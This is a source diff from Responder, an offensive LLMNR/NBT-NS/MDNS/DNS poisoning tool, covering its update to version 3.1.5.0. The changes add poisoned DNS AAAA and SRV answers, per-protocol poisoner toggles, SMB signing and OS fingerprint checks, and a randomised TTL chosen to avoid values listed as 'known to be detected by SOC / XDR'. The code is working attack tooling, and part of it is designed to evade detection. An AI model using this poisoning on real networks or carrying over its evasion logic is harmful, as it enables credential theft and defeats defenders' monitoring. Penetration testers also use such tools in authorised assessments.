buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
@@ -113,14 +116,14 @@ class DNSTCP(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))

View File

@@ -180,6 +180,5 @@ class WinRM(BaseRequestHandler):
except:
self.request.close()
raise
pass

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.1.4.0'
__version__ = 'Responder 3.1.5.0'
class Settings:
@@ -114,7 +114,12 @@ class Settings:
# Config parsing
config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
# Poisoners
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
# Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
@@ -168,6 +173,25 @@ class Settings:
self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
# Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py)
if options.TTL is None:
self.TTL = None
# Random TTL
elif options.TTL.upper() == "RANDOM":
TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x'))
if TTL in TTL_blacklist:
TTL = int.from_bytes(TTL, "big")+1
TTL = int.to_bytes(TTL, 4)
self.TTL = TTL.decode('utf-8')
else:
self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8')
#Do we have IPv6 for real?
self.IPv6 = utils.Probe_IPv6_socket()
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
@@ -260,6 +284,7 @@ class Settings:
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToTLD = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')]))
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
#add a .local to all provided DontRespondToName
self.MDNSTLD = ['.LOCAL']
@@ -332,10 +357,12 @@ class Settings:
NetworkCard = "Error fetching Network Interfaces:", ex
pass
try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex:
DNS = "Error fetching DNS configuration:", ex
pass
p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
DNS = p.stdout.read()
except:
p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
DNS = p.stdout.read()
try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except:
@@ -348,7 +375,7 @@ class Settings:
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
try:
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
#utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex:
print("Missing Module:", ex)
pass

View File

@@ -106,7 +106,7 @@ def ParseNegotiateSMB2Ans(data):
def SMB2SigningMandatory(data):
global SMB2signing
if data[70:71] == b"\x03":
if data[70:71] == "\x03":
SMB2signing = "True"
else:
SMB2signing = "False"
@@ -123,7 +123,7 @@ def WorkstationFingerPrint(data):
b"\x06\x01" :"Windows 7/Server 2008R2",
b"\x06\x02" :"Windows 8/Server 2012",
b"\x06\x03" :"Windows 8.1/Server 2012R2",
b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)",
b"\x0A\x00" :"Windows 10/Server 2016/2022 (check build)",
}.get(data, 'Other than Microsoft')
def GetOsBuildNumber(data):
@@ -201,7 +201,7 @@ def IsDCVuln(t, host):
#####################
def IsSigningEnabled(data):
if data[39:40] == b"\x0f":
if data[39:40] == "\x0f":
return 'True'
else:
return 'False'
@@ -251,7 +251,6 @@ def DomainGrab(Host):
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
s.close()
if data[8:10] == b'\x72\x00':
return GetHostnameAndDomainName(data)
except IOError as e:
@@ -359,7 +358,7 @@ def ConnectAndChoseSMB(host):
if not data:
break
except Exception:
pass
return False
else:
return False

View File

@@ -1,4 +1,5 @@
import random, struct, sys
import random, struct, sys, os
from os import urandom
from socket import *
from time import sleep
from odict import OrderedDict
@@ -522,7 +523,7 @@ class SMBv2Negotiate(Packet):
("SecurityMode", "\x01\x00"),
("Reserved","\x00\x00"),
("Capabilities","\x00\x00\x00\x00"),
("ClientGUID","\xd5\xa1\x5f\x6e\x9a\x75\xe1\x11\x87\x82\x00\x01\x4a\xf1\x18\xee"),
("ClientGUID", urandom(16).decode('latin-1')),
("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"),
("Dialect1","\x02\x02"),
("Dialect2","\x10\x02"),

View File

@@ -122,7 +122,10 @@ def RespondToThisIP(ClientIp):
return False
def RespondToThisName(Name):
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
if [i for i in settings.Config.DontRespondToTLD if Name.upper().endswith(i)]:
return False
elif settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
return False
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() not in settings.Config.DontRespondToName:
@@ -219,7 +222,17 @@ def FindLocalIP(Iface, OURIP):
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
def Probe_IPv6_socket():
"""Return true is IPv6 sockets are really supported, and False when IPv6 is not supported."""
if not socket.has_ipv6:
return False
try:
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
s.bind(("::1", 0))
return True
except:
return False
def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL':
return '::'
@@ -234,7 +247,6 @@ def FindLocalIP6(Iface, OURIP):
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1))
IP = s.getsockname()[0]
print('IP is: %s'%IP)
return IP
except:
try:
@@ -485,9 +497,9 @@ def StartupMessage():
print('')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
print(' %-27s' % "DNS" + enabled)
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
print('')
@@ -550,6 +562,12 @@ def StartupMessage():
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
if len(settings.Config.DontRespondToName):
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
if len(settings.Config.DontRespondToTLD):
print(' %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1))
if settings.Config.TTL == None:
print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1))
else:
print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
print('')
print(color("[+] ", 2, 1) + "Current Session Variables:")